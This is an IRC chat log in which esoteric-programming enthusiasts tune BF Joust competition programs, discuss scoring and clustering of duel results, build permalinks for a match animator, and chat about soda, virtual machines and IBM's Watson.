21:13:04 <elliott> It doesn't.
21:13:20 <elliott> The pictures are pretty and those of us experienced can get some information from it, but to anyone else it's just some wavy lines.
21:13:22 <elliott> You don't see the loops.
21:13:27 <elliott> It goes by too fast.
21:13:29 <elliott> You don't see those wasted cycles.
21:13:30 <Gregor> I'd rather have them be in the query URL so it's stateless, but even in the best case the compression is pretty bad ... one character = 1.5 operations >_>
21:13:35 <elliott> You don't see the logic.
21:13:50 <elliott> Gregor: Just put the two programs in the URL rather than the trace?
21:13:58 <Gregor> elliott: Uhh, yeah, that was the idea.
21:14:15 <elliott> Let's say we want to compress +-<>[].()*%0123456789.
21:14:18 <Gregor> One character = 1.5 operations with base64.
21:14:22 <Gregor> I've already looked into it.
21:14:24 <elliott> That's 21 options.
21:14:27 <Gregor> One character = 1.5 operations.
21:14:30 <elliott> = 4.39 bits.
21:14:31 <elliott> So yeah.
21:14:37 <elliott> Gregor: 1.821 actually.
21:14:44 <elliott> In the perfect information-theoretic sense.
21:14:54 <elliott> Not in the actually-achievable sense :P
21:14:55 <Gregor> elliott: I didn't compress 0123456789 quite so naively as you, since they can't appear anywhere.
21:15:06 <elliott> Gregor: Err, I get a _better_ figure than you.
21:15:19 <Gregor> elliott: You realize it has to be ASCII, right?
21:15:31 <Gregor> elliott: Not only that, it has to be URLable ASCII.
21:15:32 <elliott> Gregor: As I said. Information-theoretic.
21:15:37 <elliott> I didn't bother myself with practicality.
21:15:49 <Gregor> elliott: It's not even information-theoretic if your output is invalid.
21:16:03 <elliott> It's pure mathematical beauty, who cares about character sets!
21:16:07 <Gregor> :P
21:17:08 <Gregor> Anyway, for anything written by ais or quintopia, that's still way too big :P
21:17:29 <elliott> Gregor: Better idea.
21:17:41 <elliott> Gregor: When someone fetches a link, store the program permanently, indexed by its SHA-1 hash.
21:17:47 <elliott> Gregor: Have the two programs be identified by SHA-1 hashes.
21:17:55 <elliott> Gregor: Theoretically, you could just brute-force the correct program every time the URL is loaded.
21:18:01 <elliott> Gregor: You have reduced the impurity to a mere cache!
21:18:07 <Gregor> That's not bad.
21:18:09 <elliott> I'm not even _joking_ :D
21:18:20 <Gregor> It's seriously not bad.
21:18:23 <elliott> Gregor: (We are working inside the theory "hash collisions do not exist", a very, very useful theory.)
21:18:50 <Gregor> For our purposes that theory may as well be true.
21:19:20 <quintopia> Gregor: that was my idea originally. what elliott just said. store the program when a link is requested :P
21:19:30 <elliott> Gregor: And if it falls down, at least we can be the cause of the headline "BRAINFUCK MAKES A HASH OUT OF THINGS"
21:19:38 <Gregor> elliott: ... boo. Hiss.
21:19:42 <elliott> quintopia: You forgot the all-important SHA-1 part!
21:20:04 <quintopia> but he was all STOP USING WORDS and you were all I DON'T WANNAAAAAAA and i was all ROT133333333
21:21:27 <elliott> it was rot13?
21:21:31 <elliott> i rot13'd it and got gibberish
21:21:32 <elliott> well one word
21:26:00 <quintopia> you fail at rot13
21:26:18 <elliott> i just used rot13.com out of laze
21:28:02 <fizzie> http://zem.fi/~fis/clust6.png -- results with one more bug squished.
21:28:42 <elliott> quintopia: btw wiggle3 in egojsout is broken too ofc
21:28:57 <quintopia> fizzie: what clustering alg are you using? it's based solely on win/loss record, yes?
21:29:19 <elliott> fizzie: written an evolver yet? :P
21:30:57 -!- Sgeo has joined.
21:31:03 <fizzie> quintopia: Yes. It's very simple; pairwise distance between A and B is the manhattan distance over the 38*42-dimensional -1/0/+1 duel-score vectors they have against all other programs; then agglomerative hierarchical clustering using "average of all pairwise distances" as a cluster-to-cluster distance metric.
21:31:38 <quintopia> sounds about right
21:31:40 <elliott> fizzie: Very simple!
21:31:50 <elliott> You had me at "agglomerative hierarchical clustering".
21:31:52 <fizzie> elliott: Look, ma, no eigenvectors!
21:32:06 <quintopia> fizzie: how did you decide where to make the tree change colors?
21:32:17 <elliott> quintopia: With eigenvectors!
21:32:48 <quintopia> elliott: i suspect it was more a simple threshold :P
21:33:07 <fizzie> quintopia: That's scipy's dendrogram-plotter's default thing. It uses a threshold of 0.7*maximum distance.
21:33:24 <quintopia> ah
21:34:31 <quintopia> did definder fall off the hill? hmm
21:34:47 <fizzie> I think ais523 said it did.
21:36:11 <quintopia> that would explain space_elevator's jump last night. definder was one of the few that beat it.
21:39:01 -!- Sgeo has quit (Ping timeout: 240 seconds).
21:43:30 -!- pikhq_ has joined.
21:43:52 -!- pikhq has quit (Ping timeout: 276 seconds).
21:48:30 <quintopia> looks like i already need to add backup attacks, since i am vulnerable to vibration atm
21:49:00 <fizzie> I also plotteded this thing http://zem.fi/~fis/dpoints.png which is the report.txt duel-matrix, except it also shows shades between -/0/+ so you can see the difference between "beats completely" and "barely manages to win over half".
21:53:08 <quintopia> !bfjoust space_elevator http://sprunge.us/aNhT
21:54:04 <quintopia> fizzie: red means beats?
21:54:18 <fizzie> Yes.
21:54:51 <fizzie> Well, depending on which way you read it. Red means "program on this row beats the program on this column".
21:55:20 <fizzie> They're sorted by the tournament score thing, I think.
21:55:21 <quintopia> i figured that's the way you intended it be rea
21:55:22 <quintopia> d
21:55:29 <quintopia> yes i thought that was nice
21:55:47 <quintopia> i makes it be nearly half red and half blue, and therefore highlights the upsets quite well
21:57:13 <quintopia> actually, i'd like to see it sorted by points
21:57:37 <EgoBot> Score for quintopia_space_elevator: 59.0
21:57:46 <quintopia> wow
21:57:48 <quintopia> that hurt
21:57:52 <quintopia> unexpectedly
21:59:34 <fizzie> http://zem.fi/~fis/dpoints2.png -- same data sorted by points, unless I screweded up.
22:00:44 <elliott> fizzie: Plot the difference between score and points in some way that makes the outliers obvious.
22:00:47 <elliott> e.g. low points high score
22:02:58 -!- pikhq_ has quit (Ping timeout: 250 seconds).
22:03:05 -!- pikhq has joined.
22:03:30 <fizzie> I could do a points/scores scatterplot pretty easily.
22:05:23 <quintopia> !bfjoust space_elevator http://sprunge.us/eWbE
22:05:28 <quintopia> i doubt that will improve things at all
22:05:43 <fizzie> http://zem.fi/~fis/pointscore.png -- they're pretty nicely on the line. (X axis has points, Y axis scores; lacking labels at the moment.)
22:05:52 <quintopia> i can't really figure out how the second check throws everything off
22:05:58 -!- BeholdMyGlory has quit (Read error: Operation timed out).
22:06:09 -!- cheater- has quit (Read error: Connection reset by peer).
22:06:10 -!- BeholdMyGlory has joined.
22:06:45 <quintopia> fizzie: can you change the colors of the ones that are most uncorrelated?
22:07:55 <fizzie> Possibly. (Though that plot and the one that does clustering/distances are in different files at the moment.) Away for now though, more graphical misadventures later.
22:09:54 -!- SimonRC has quit (Ping timeout: 255 seconds).
22:13:05 <quintopia> Gregor: idea for scoring system. one that maximizes the amount of red in the upper section and blue in the lower section in fizzie's graph. experiment: see if the current system already does this.
22:13:44 <quintopia> (i think any such system is inherently fixed point in a way)
22:14:09 <elliott> We really just want a scoring function "S(p) := sum(q : program that p beats) f(S(q))", don't we?
22:14:14 <elliott> For some f.
22:14:17 <elliott> Where S is score.
22:14:27 <elliott> That's basically the definition of a fixed-point scoring function.
22:14:29 <quintopia> something like that
22:14:38 <EgoBot> Score for quintopia_space_elevator: 59.0
22:14:48 <quintopia> but what should f be to make that happen?
22:14:59 <elliott> quintopia: I was about to say "then you no longer need to find a scoring function, only an f." :p
22:15:34 <quintopia> well i just suggested one
22:15:53 <elliott> quintopia: You didn't suggest an actual function :P Unless you mean the stuff in the log.
22:15:54 <quintopia> solve the optimization problem i just described and i think you'll have one
22:16:27 <elliott> OK, let's say that f(x) := P(x)/number of programs on the hill, where P is points.
22:16:27 -!- copumpkin has joined.
22:16:36 <elliott> Does that fix-a-point, you think?
22:16:49 <elliott> Because eventually the division stack will get bigger and bigger. :p
22:17:00 <elliott> And that kind of stuff has the mouth-feel of fixed-pointing.
22:17:10 <elliott> Erm.
22:17:12 <elliott> Let's say that
22:17:17 <elliott> f(n) := n/number of programs on the hill.
22:17:25 <elliott> And we start by assuming that S(x) := P(x) for all x.
22:19:33 <quintopia> this is something you could test
22:20:28 <elliott> quintopia: And it is also something you could test :P
22:20:39 <quintopia> i could
22:20:42 <quintopia> i will
22:20:49 <quintopia> once i'm finished watching pretty animations
22:23:40 -!- pikhq_ has joined.
22:24:01 -!- pikhq has quit (Ping timeout: 276 seconds).
22:26:32 <quintopia> definder2 is a thing of beauty
22:27:21 -!- SimonRC has joined.
22:34:11 <quintopia> !bfjoust space_elevator http://sprunge.us/cgcF
22:36:47 -!- Behold has joined.
22:37:17 <EgoBot> Score for quintopia_space_elevator: 57.8
22:37:30 <quintopia> hmm
22:39:30 -!- MigoMipo has quit (Quit: Quit).
22:40:02 -!- BeholdMyGlory has quit (Ping timeout: 255 seconds).
22:40:27 <Gregor> Mmmmm, fresh-made soda.
22:40:55 <quintopia> what flavor it is this time?
22:41:41 <elliott> The Debian installer is so awesome.
22:42:10 <elliott> And that is the first and last time, my friends, that I will stoop to *praising an operating system's installation program*.
22:42:34 <elliott> Also, my enemies.
22:46:13 <Gregor> quintopia: This time I was lazy and decided to order the sample pack of flavorings from SodaStream :P
22:46:21 <Gregor> So I'm having Cranberry-Raspberry.
22:49:01 -!- SimonRC has quit (Ping timeout: 265 seconds).
22:51:05 -!- SimonRC has joined.
22:51:24 <elliott> Gregor: Please make... treacle soda.
22:51:38 <Gregor> Sounds ... "delicious"
22:54:48 <elliott> Gregor: Yes, it does. Do it.
22:55:03 <elliott> You're anosnonosnomic and don't understand TASTE, so shut up and make it.
22:55:29 <elliott> Gregor: If it's easier for you to swallow -- no pun superintendent -- as an American, molasses would also work.
22:56:40 <elliott> Holy shit debian.org redesigned.
22:56:46 <elliott> And it's... ugly.
22:58:26 -!- pikhq has joined.
22:58:26 -!- pikhq_ has quit (Ping timeout: 245 seconds).
23:10:11 <quintopia> !bfjoust space_elevator http://sprunge.us/KNHK
23:13:19 <EgoBot> Score for quintopia_space_elevator: 59.0
23:14:31 <quintopia> hmm
23:16:52 <Gregor> Permalinks up.
23:17:13 <elliott> Gregor: SHA-1'D?!
23:17:28 <Gregor> X_X
23:17:39 <Gregor> What would you rather I use.
23:18:12 <elliott> Gregor: I was asking.
23:18:15 <elliott> Not complaining.
23:18:23 <elliott> I was ENSURING THAT YOU PROPERLY OBEYED MY VISION.
23:18:26 <Gregor> Then why the interrobang‽
23:18:27 <elliott> But, uhh, SHA-512 please.
23:18:34 <elliott> Gregor: <elliott> I was ENSURING THAT YOU PROPERLY OBEYED MY VISION.
23:19:06 <elliott> <elliott> But, uhh, SHA-512 please.
23:19:08 <elliott> This is joke btw
23:20:43 <Gregor> Seems borked :P
23:22:56 <pikhq> Hrm.
23:23:08 <Gregor> Unborked!
23:23:30 -!- Sgeo has joined.
23:23:35 <Gregor> Now to integrate animation into the mainline egojsout.
23:25:23 -!- FireFly has quit (Quit: swatted to death).
23:33:16 <elliott> http://media.tumblr.com/tumblr_lfn399bDPY1qb25dg.jpg
23:42:52 * pikhq finds himself completely rejecting notions of an omnipotent, benevolent deity...
23:43:55 -!- Slereah_ has joined.
23:44:05 <Sgeo> What about a deity omnipotent as in able to do anything to our world, but has its own limitations within its own.. plane of being
23:44:16 <quintopia> !bfjoust space_elevator http://sprunge.us/WcXQ
23:44:23 <EgoBot> Score for quintopia_space_elevator: 56.4
23:44:25 <Sgeo> Something like artificial life games and us
23:44:39 <pikhq> Sgeo: Clearly he's a dick.
23:44:42 <Sgeo> In theory, we could do anything, in practice, we're not smart enough, or it's otherwise difficult
23:44:56 <elliott> pikhq: Gosh, but who will be our token Christian now?
23:45:07 <elliott> :p
23:45:21 <pikhq> And it's certainly not worth *caring* about such an ineffective hypothetical deity.
23:45:31 <pikhq> elliott: You'll have to scrounge one up, I guess.
23:45:47 -!- Slereah has quit (Ping timeout: 272 seconds).
23:45:47 <elliott> I'd rather not :P
23:45:55 -!- Sgeo_ has joined.
23:45:58 <pikhq> Or I'll have to convert someone. Whilst not convincing myself of anything. :P
23:46:17 <Sgeo_> elliott, would you say we're omnipotent in the Creatures games?
23:46:26 <elliott> It's not like you've ever come across as religious in any way, you're a lousy token Christian. :p
23:46:30 <pikhq> Sgeo: Certainly not.
23:46:34 <elliott> Our minorities statistics are all messed up. Er, Christians are in a minority, right?
23:46:50 <pikhq> elliott: Depends on the context.
23:46:54 <Sgeo_> pikhq, things that we can't alter with CAOS painstakingly, we can in theory hex-edit
23:47:03 <Sgeo_> So we have full control over the Creatures world
23:47:42 <pikhq> elliott: World-wide? I suppose they could kinda count.
23:47:50 <pikhq> elliott: Well, they're at least not a *majority*.
23:48:03 <pikhq> elliott: In most Western nations? Sorry, no.
23:48:11 <elliott> pikhq: They're a plurality, though.
23:48:56 -!- Sgeo__ has joined.
23:48:57 -!- Sgeo has quit (Ping timeout: 240 seconds).
23:49:10 <Sgeo__> So yeah, I'm installing VirtualBox 4
23:49:15 <quintopia> alright, i can't figure out how to improve this thing. downgrading...
23:49:22 <quintopia> !bfjoust space_elevator http://sprunge.us/VcMe
23:49:24 <pikhq> The Abrahamic religions are most definitely a majority, though.
23:49:28 <EgoBot> Score for quintopia_space_elevator: 64.8
23:49:32 <pikhq> Somewhat broad grouping, but nevertheless.
23:49:52 <pikhq> (and includes at least two groups that seem to hate each other's guts!)
23:50:03 <quintopia> that's the one with all the strange bugs in it that somehow made it do better :P
23:51:02 <elliott> 06:56:19 <Sgeo> I am beginning to believe that Core Wars is dead
23:51:03 <elliott> By what metric?
23:51:03 -!- zzo38 has joined.
23:51:08 <elliott> quintopia: evolve it :P
23:51:32 <Sgeo__> elliott, lack of players. As poorly estimated by lack of new documentation available
23:51:41 <Sgeo__> And emptiness of IRC channel
23:51:48 -!- GreaseMonkey has joined.
23:51:48 -!- GreaseMonkey has quit (Changing host).
23:51:48 -!- GreaseMonkey has joined.
23:52:09 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
23:55:25 -!- Behold has quit (Remote host closed the connection).
23:56:20 <elliott> reddit about our wiki:
23:56:21 <elliott> [[That whole site is intended as a joke, I believe. Go take a look at the non-joke languages list, and you'll find most major languages are missing. Java is there, but when you go to the Java entry it is clearly describing it as a joke, and says it is in the joke category.
23:56:21 <elliott> There are a lot of inconsistencies between the lists and the categories, which I suspect is part of the joke.]]
23:56:41 <elliott> Gregor: LANCE WILL TOTALLY BE DONE TOMORROW. TODAY I WAS TOO BUSY PLAYING MINECRAFT.
23:56:45 <elliott> PLEASE BE PATIENT
23:56:48 <elliott> :}}
23:56:56 <Sgeo__> elliott, linky?
23:57:22 <Sgeo__> Sound is way too deep
23:57:48 <Sgeo__> It's almost as though a computer is simulating another computer and running an OS in that simulated computer
2011-02-15
00:04:04 -!- poiuy_qwert has joined.
00:05:55 <Gregor> OK, I've integrated animation into trunk egojsout.
00:05:58 <Gregor> The UI needs some work :P
00:06:55 <elliott> http://www.scribd.com/doc/48773692/Ignite-SV-Haskell-is-Better Oh snap, Haskell propaganda using Second Life. Somebody alert Sgeo__.
00:07:03 <elliott> Gregor: Can it SCRUB
00:07:34 <Gregor> elliott: Can your mom?
00:07:39 <elliott> Yes.
00:07:42 <elliott> ANY QUESTIONS
00:13:09 <Gregor> http://codu.org/eso/bfjoust/egojsout/?l=f2fbfce59c1af7376b794987b0b82b848cada986&r=47e874799fa9206bf40b7ef1e7cbf981187341aa&t=25 TADA
00:19:06 <elliott> Gregor: Suggest spacing below the tape length heading and below the animation :P
00:19:20 <elliott> Also some link to egojsout proper maybe
00:19:22 <elliott> But it's cool.
00:19:36 <Deewiant> Suggest being able to see the sources of the programs involved :-P
00:19:37 <elliott> Gregor: Oh, and I'd also put the trace in a scrollable div and have it automatically scroll down, so you can see the match evolve.
00:19:41 <elliott> Also, what Deewiant said.
00:19:45 <elliott> But the scrolling thing would be cool.
00:19:49 <quintopia> zzo38: watson is kicking their asses on jeopardy right now
00:20:09 <elliott> Deewiant: You actually do see it when the page loads :P
00:20:18 <elliott> Gregor: Suggest making re-ticking the animation box work :P
00:20:34 <Gregor> elliott: The animate box was just a hack, I'm getting rid of it entirely.
00:20:37 <Deewiant> elliott: Too quick, didn't even notice the first time :-P
00:21:29 <zzo38> quintopia: In my timezone Jeopardy is on later, not now
00:30:09 <quintopia> zzo38: then i will not discuss it any further
00:33:38 <Gregor> FFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUU
00:33:47 <Gregor> SliderSLIDERSLIDER
00:35:08 <elliott> Gregor: There's an HTML 5 for it.
00:35:09 <elliott> Just use dat :P
00:35:38 <elliott> Gregor: You should change all the "<b>foo</b> <a>foo</a>" links on [[BF Joust strategies]] to be just a bold link >_> I did one but oh god there are lots.
00:35:42 <elliott> PLURAL ones.
00:35:47 <Gregor> I am using it.
00:35:48 * Sgeo__ hits elliott with a DAT #0, #0
00:35:52 <Gregor> But I have a FF old enough not to have it :P
00:36:01 <Gregor> elliott: Regex dood
00:36:12 <elliott> Gregor: I'm using a FF crappy enough to not have built-in sed.
00:36:16 <elliott> *an
00:37:55 <Gregor> 's pretty sweet on Chrome :)
00:38:26 <elliott> Gregor: Did you make it continuous or discrete? The bar, that is.
00:38:35 <elliott> I'd prefer a continuous bar that's floor()'d in display, just because scrubbing would be smoother.
00:38:44 <Gregor> Continuous, floor'd in display.
00:38:47 * Sgeo__ installs a Microsoft game on WINE on Lubuntu under VirtualBox on Windows 7
00:39:05 <elliott> Gregor: *hi5*
00:42:25 <elliott> Gregor: Is it pushed?
00:42:31 -!- augur has quit (Ping timeout: 276 seconds).
00:42:33 <Gregor> Is now.
00:42:39 <Gregor> Would anybody mind if I put the program listings on the bottom when you permalink?
00:42:51 <Gregor> I just don't want them on top, I sorta want it to be a link to an animation essentially.
00:42:53 <elliott> Gregor: I'd have it be a link that expands them at the top.
00:43:00 <Gregor> That's not easy :(
00:43:03 <elliott> "Show sources" --> "Hide sources\n[two source textboxes]"
00:43:11 <elliott> Gregor: You mean hiding and showing an element isn't easy?
00:43:15 <elliott> Use jQuery or something if you're that lazy :P
00:48:44 <elliott> Gregor: Did you do that height-limited-scrolling-trace thing? >_>
00:49:07 <elliott> Next you just need to add LIVE PATCHING OF CODE and it'll be in like THOSE MOVIES ABOUT HACKERS gosh golly gosh darn.
00:51:34 <Sgeo__> WTF
00:51:42 <Sgeo__> I just Googled Core Wars vs VirtualBox
00:53:11 -!- pikhq has quit (Ping timeout: 240 seconds).
00:53:27 -!- pikhq has joined.
00:55:13 <Gregor> OK, permalinks are awesome now :)
00:55:13 <elliott> HAPPY.
00:55:23 <elliott> Gregor: Why do I always talk after long periods of silence at the same time as somebody else.
00:55:26 <elliott> Anyway link me up.
00:55:42 <Gregor> http://codu.org/eso/bfjoust/egojsout/?l=47e874799fa9206bf40b7ef1e7cbf981187341aa&r=ae4777f408850bad0cd6352d9b63a5d7db6ee5fb&t=25
00:56:11 <elliott> Gregor: No polarity specification in URL?
00:56:22 <Gregor> &p = polarity inverted, no &p = polarity normal
00:56:28 <zzo38> I used the algorithm for division in METAFONT to ensure it doesn't overflow
00:56:29 <elliott> Gregor: Is it, er, going slower?
00:56:34 <elliott> Or are the programs just slow?
00:56:41 <elliott> ...oh, my browser is lagged.
00:56:42 <Gregor> Same speed as always, these programs are just slowish :P
00:56:50 <elliott> Gregor: ANYHOW you need to implement that scrolling trace thing :q
00:56:51 <elliott> it would be awesome.
00:57:02 <Gregor> I refuse.
00:57:06 <elliott> Gregor: Why?
00:57:08 <Gregor> Patches welcome :P
00:58:00 <elliott> Gregor: s/<div/<div style="height:foo em; overflow:scroll"/; s//div contents=""/; s/next turn/next turn; div.append(line from full trace); div.scrollTo(whatever I forget the params)/
00:58:51 <Gregor> elliott: I refuse because I don't want it, though I'm insufficiently against it to refuse a patch.
00:59:03 <elliott> Gregor: I wanna know why you don't want it :P
00:59:15 -!- cal153 has quit (Ping timeout: 250 seconds).
00:59:18 <elliott> It would be helpful to see the "flat" tape's activity go by.
00:59:23 <Gregor> I find subscrollable areas annoying.
00:59:42 <Gregor> The alternative would be to just put it upside-down.
00:59:50 <elliott> Gregor: Use a frameset :P
00:59:57 <Gregor> ...
01:00:01 <Sgeo__> "VMware Player now creates virtual machines"
01:00:01 <elliott> See that ":P"?
01:00:02 <Sgeo__> What?
01:00:05 <Sgeo__> This sounds awesome
01:01:48 <pikhq> Sgeo__: There's even *less* reason to use VMware Server now.
01:02:10 <Sgeo__> pikhq, yes yes. But is it reason to switch away from VirtualBox? I think it may be
01:02:16 <pikhq> Probably not.
01:02:21 <Sgeo__> I do remember recently loathing VirtualBox
01:02:28 <elliott> Is Sgeo__ really going on about different VM products?
01:02:34 <elliott> Has a more debate ever been presented to the world?
01:02:34 <pikhq> *Especially* if you want to automate it.
01:02:41 <elliott> Has there ever been anything less impossible to get excited or interested about?
01:02:54 <pikhq> VMware is a bitch to automate compared to VirtualBox, believe it or not.
01:03:06 <elliott> Isn't VMWare slower than VirtualBox.
01:03:13 <pikhq> Probably.
01:03:13 <elliott> I don't see what's wrong with VirtualBox at all.
01:03:15 -!- poiuy_qwert has quit (Ping timeout: 246 seconds).
01:03:25 <pikhq> They're both reasonable as far as virtualisation goes, though.
01:03:33 <elliott> Sgeo is like a magpie except instead of hoarding shiny things he abandons his previous shiny thing and latches on to some other more shiny thing.
01:03:40 <elliott> Then it turns out it was just the sunlight making it look shinier.
01:03:45 <elliott> But hop he does.
01:03:50 <elliott> (I realise magpies don't actually do that.)
01:04:17 <zzo38> What is the correct pointer type for execv?
01:04:53 -!- augur has joined.
01:05:46 -!- poiuy_qwert has joined.
01:10:06 -!- Sgeo__ has changed nick to Sgeo.
01:14:42 <Sgeo> I like the VMware Workstation icon better than the VMware Player icon
01:15:20 <zzo38> I think the "texnicard.w" file is now complete as the first version will be. Can you check?
01:22:23 -!- Sgeo has quit (Read error: Connection reset by peer).
01:24:39 <Gregor> Anybody know how to do macros in MediaWiki?
01:26:40 <zzo38> Gregor: I know how to do templates, I don't know about macros, though.
01:27:24 <Gregor> Do templates require a separate node? All I really need is something like #define A(x) big_url_with_ ## x, then later A(bleh) A(florp) A(doink)
01:28:41 <zzo38> A template does require a separate node.
01:28:58 <zzo38> But it can have any number of parameters.
01:30:18 <zzo38> Parameters are used by typing {{{1}}} and {{{2}}} and so on.
01:30:57 <zzo38> You can also specify things that are used only when included in another page, or only when viewing the template itself.
01:31:16 <Gregor> I guess that's tolerable >_>
01:31:34 -!- Sgeo has joined.
01:32:04 <quintopia> !bfjoust space_elevator http://sprunge.us/YVZN
01:33:22 <EgoBot> Score for quintopia_space_elevator: 62.3
01:33:26 <pikhq> Time to get caught up on linear algebra homework.
01:33:37 <pikhq> Good *God* this is going to be bad...
01:33:51 <quintopia> huh. guess those two minuses are worth over 2 points
01:34:18 <Gregor> quintopia: DIEDIEDIE
01:34:27 <pikhq> All the homework for a portion of the class is due the day of the test.
01:34:34 <pikhq> Guess what I end up doing?
01:36:41 <pikhq> If you said "Put it off for the better part of a month", you'd be correct!
01:36:45 <pikhq> And your prize is nothing!
01:37:31 <quintopia> !bfjoust space_elevator http://sprunge.us/ciBB
01:37:39 <EgoBot> Score for quintopia_space_elevator: 65.0
01:37:58 <quintopia> okay, that was a definite improvement. saving that one
01:38:14 <quintopia> now let's see if those off-by-one errors are actually beneficial or no...
01:38:50 <zzo38> Really, can possbly anyone help with anything with TeXnicard? See if there are any obviously mistakes/omissions in texnicard.w file?
01:39:39 -!- Sgeo has quit (Read error: Connection reset by peer).
01:43:30 -!- Sgeo has joined.
01:43:32 -!- elliott has quit (Ping timeout: 272 seconds).
01:45:07 -!- cal153 has joined.
01:45:29 <quintopia> !bfjoust space_elevator http://sprunge.us/iKUL
01:45:42 <EgoBot> Score for quintopia_space_elevator: 64.8
01:45:47 <quintopia> wow
01:45:56 <quintopia> who'dathunk?
01:46:29 <quintopia> i suspect this has something to do with vibration
01:46:36 -!- Vorpal has quit (Read error: Operation timed out).
01:47:00 -!- Vorpal has joined.
01:55:49 <quintopia> !bfjoust space_elevator http://sprunge.us/Baid
01:55:58 <EgoBot> Score for quintopia_space_elevator: 60.5
01:58:17 <quintopia> !bfjoust space_elevator http://sprunge.us/LIHP
01:58:29 <EgoBot> Score for quintopia_space_elevator: 60.5
02:08:39 <Gregor> I added fancy animation links to a bunch of the strategies :)
02:09:33 -!- azaq23 has joined.
02:10:32 -!- zzo38 has quit (Remote host closed the connection).
02:19:19 <quintopia> neato
02:21:16 <Gregor> I made a program as the opponent designed to be simple enough that it's not a good strategy but complex enough that it would bring out interesting behavior. It beats some of the 2009 toplisters :P
02:22:40 -!- Mathnerd314 has joined.
02:23:36 <quintopia> i just thought up possibly the most difficult to counter defense program ever devised. basically the only way to counter it without making your program suck balls would be to 1) use ridiculously deep nesting to allow for more unpredictable behavior, or 2) do the saccharin_philip sort of thing :P
02:24:16 <Gregor> So, the only way to counter it is to do what's already done? :P
02:24:35 <Sgeo> What's a saccharin philip?
02:25:16 <quintopia> Gregor: saccharin_philip is pretty awesome dude. i mean really cool.
02:26:04 <Gregor> quintopia: It's a ripoff of poke + lead_acetate_philip X-P
02:26:55 <quintopia> Gregor: then lead_acetate_philip is pretty awesome
02:27:02 <Gregor> Heh
02:27:29 <quintopia> the idea of building 4 decoys at once slowly wreaks havoc on a decent clear
02:28:05 <quintopia> and the idea of treating the first 4 decoys carelessly before actually trying kills pretty much every defense program
02:28:29 <quintopia> and allows you to outpace a standard rusher
02:28:52 <Gregor> Ah, the simulbuild part is all saccharin, and yeah, I was originally going to build them one at a time, then tested it and came to the conclusion that it confused programs more to build them at once.
02:29:10 <Gregor> I still, however, can't do squat against shuddering >_<
02:29:17 <Gregor> If I could, maaaan things would be nice :P
02:29:39 <quintopia> which is why i was thinking that this ridiculously deeply nested clear needs to be written
02:30:15 <quintopia> i was thinking of making up a bf variant with subroutine calls to make writing it easier
02:30:29 <quintopia> it would compile by copying the subroutines into all the right places
02:30:46 <quintopia> since it's really quite impossible to do it just ({})% alone
02:31:12 <quintopia> actually
02:33:10 <quintopia> what would make it easiest is if we had (a?i{b}c)%i=32 type code, which would expand to: a32a31a30a29a28...bc...c
02:33:24 <quintopia> plus the subroutines
02:33:35 <Gregor> I was actually considering implementing that.
02:33:37 <quintopia> i'm seriously thinking about writing this compiler >_>
02:37:44 <quintopia> oh right. i was gonna see what happened if i used ridiculously large offsets for larger tape sizes :P
02:40:31 -!- augur has quit (Ping timeout: 264 seconds).
02:41:56 <quintopia> !bfjoust space_elevator http://sprunge.us/QDGa
02:42:10 <EgoBot> Score for quintopia_space_elevator: 60.7
02:42:22 <quintopia> a VERY slight improvement
02:44:27 <quintopia> results against definder2 did not change :/
02:45:05 <quintopia> but ais523 told me something that could very well change that...
02:46:07 * Gregor is waiting for things to shake out a bit before stepping back in the ring :P
02:48:39 <quintopia> !bfjoust space_elevator http://sprunge.us/BDCW
02:48:54 <EgoBot> Score for quintopia_space_elevator: 61.1
02:49:45 <quintopia> things aren't shaking very much right now gregor. also, space_elevator is still very vulnerable in a lot of ways, and using a good strategy that beats it could put you in 1st again
02:54:03 * pikhq is somewhat disappointed in Watson.
02:54:17 <pikhq> It didn't proclaim that the Singularity is here and proceed to demonstrate.
02:54:23 <pikhq> So disappointing. :P
02:58:10 <Sgeo> I should probably make a good faith effort towards my homework or something
02:59:54 <quintopia> !bfjoust space_elevator http://sprunge.us/BOBQ
03:00:13 <EgoBot> Score for quintopia_space_elevator: 60.7
03:00:18 <quintopia> pikhq: i was fucking amazed by watson.
03:00:46 <quintopia> this deepqa shit needs to be a search engine on the interwebs right now
03:00:53 <quintopia> i don't know if they can afford the hardware tho
03:00:58 <pikhq> On a more serious note, Watson is some pretty amazingly good natural-language processing, and I would like to thank IBM for actually doing R&D.
03:01:28 <quintopia> IBM research is huge main
03:01:45 <pikhq> Yeah, IBM takes research seriously.
03:02:05 <Gregor> !bfjoust aspartame_philip http://sprunge.us/OeJH
03:02:27 <EgoBot> Score for Gregor_aspartame_philip: 39.6
03:02:35 <Gregor> Wow, much worse than I expected X-P
03:03:05 <Gregor> !bfjoust aspartame_philip <
03:03:08 <EgoBot> Score for Gregor_aspartame_philip: 0.0
03:03:40 <Gregor> OHWAIT
03:03:41 <Gregor> I broke it :P
03:04:07 <Gregor> !bfjoust aspartame_philip http://sprunge.us/UUJX
03:04:12 <EgoBot> Score for Gregor_aspartame_philip: 43.1
03:04:22 <Gregor> Better
03:04:29 <quintopia> welcome back to the ring
03:05:00 <quintopia> egodeath is a really weird program that i need to look at and figure out
03:05:01 <Gregor> !bfjoust high_fructose_corn_philip <
03:05:09 <pikhq> ... Huh.
03:05:24 <pikhq> Deep Blue was a 11.38 GFLOPS supercomputer.
03:05:34 <EgoBot> Score for Gregor_high_fructose_corn_philip: 0.0
03:05:36 <quintopia> it was pretty poor in modern terms yes
03:06:06 <quintopia> if they were to set their sights on chess again, they'd own every grandmaster in the world
03:06:20 <quintopia> but that's not a profitable venture by any means
03:06:51 <quintopia> i think they should publish the deep blue algorithms
03:07:18 <quintopia> as i recall they had some rather innovative heuristics never seen before in chess AI
03:07:54 <pikhq> For comparison, the Cell processor hits 20.8 GFLOPS (for double-precision). In and of itself.
03:08:37 <pikhq> Or 211.2 GFLOPS (single-precision).
03:09:19 <quintopia> oh holy hell egodeath is a defender. :P
03:11:01 <quintopia> and it's my giant offsets that get me locked on it
03:13:46 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
03:15:54 -!- poiuy_qwert has joined.
03:18:22 <Gregor> http://codu.org/eso/bfjoust/egojsout/?l=851f935e320b09c6ccf78337ab7f7c3c91583ce4&r=simple&t=25 This is a really elucidating poke :)
03:21:00 * pikhq ♥ Moore's
03:21:01 <pikhq> Law
03:21:13 <quintopia> !bfjoust space_elevator http://sprunge.us/YZca
03:21:14 <coppro> Gregor: <3 <# <#
03:21:28 <coppro> Gregor: I want those generally to see how coppro_suicide did so well
